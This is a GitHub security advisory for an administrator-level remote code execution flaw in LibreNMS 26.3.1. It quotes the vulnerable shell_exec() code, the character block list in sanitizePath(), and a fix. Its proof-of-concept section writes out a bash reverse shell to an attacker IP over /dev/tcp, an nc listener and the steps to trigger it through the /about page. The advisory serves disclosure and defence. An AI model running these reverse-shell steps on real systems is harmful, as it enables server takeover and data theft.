OSV 1.4.0 · github-reviewed · 修改于 2026-08-19 05:17
发布时间
2026-08-19 05:17
GitHub 审查时间
2026-08-19 05:17
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-jf24-8g2h-2wg7/GHSA-jf24-8g2h-2wg7.json
A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.
Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges
File: app/Http/Controllers/AboutController.php
Line: 85
'version_netsnmp' => str_replace('version: ', '',
rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),
The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.
The snmpget configuration can be modified through the web interface:
PUT /settings/snmpgetSettingsController::update()resources/definitions/config_definitions.json"snmpget": {
"default": "/usr/bin/snmpget",
"type": "executable"
}
The sanitizePath() function in DynamicConfigItem.php:
// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
if (preg_match('/[`;#$|&\'"><(]/', $path)) {
return false;
}
return realpath($path);
}
// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
$value == $this->sanitizePath($value);
return $value !== false && is_file($value) && is_executable($value);
}
| Scenario | Description |
|---|---|
| Insider Threat | Internal admin creates malicious file → updates config → RCE |
| Privilege Escalation | Attacker with limited access → creates file → full RCE |
| Supply Chain | Malicious package installs binary → admin uses it → RCE |
Create a reverse shell payload that connects back to the attacker:
ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001
bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null
Save this as /tmp/rev_shell.sh and make it executable:
chmod +x /tmp/rev_shell.sh
On your attacking machine, start a netcat listener:
nc -lvnp 9001
Login to LibreNMS web interface as administrator and navigate to:
/tmp/rev_shell.shAccess the /about endpoint to execute the malicious binary:
| Category | Level | Description |
|---|---|---|
| Confidentiality | HIGH | Read config files, database credentials, SSH keys |
| Integrity | HIGH | Create webshells, backdoors, modify code |
| Availability | HIGH | Disrupt services, delete data, stop monitoring |
| Scope | CHANGED | Compromise extends beyond application to system |
Replace shell_exec() with Symfony Process component:
// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')
// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();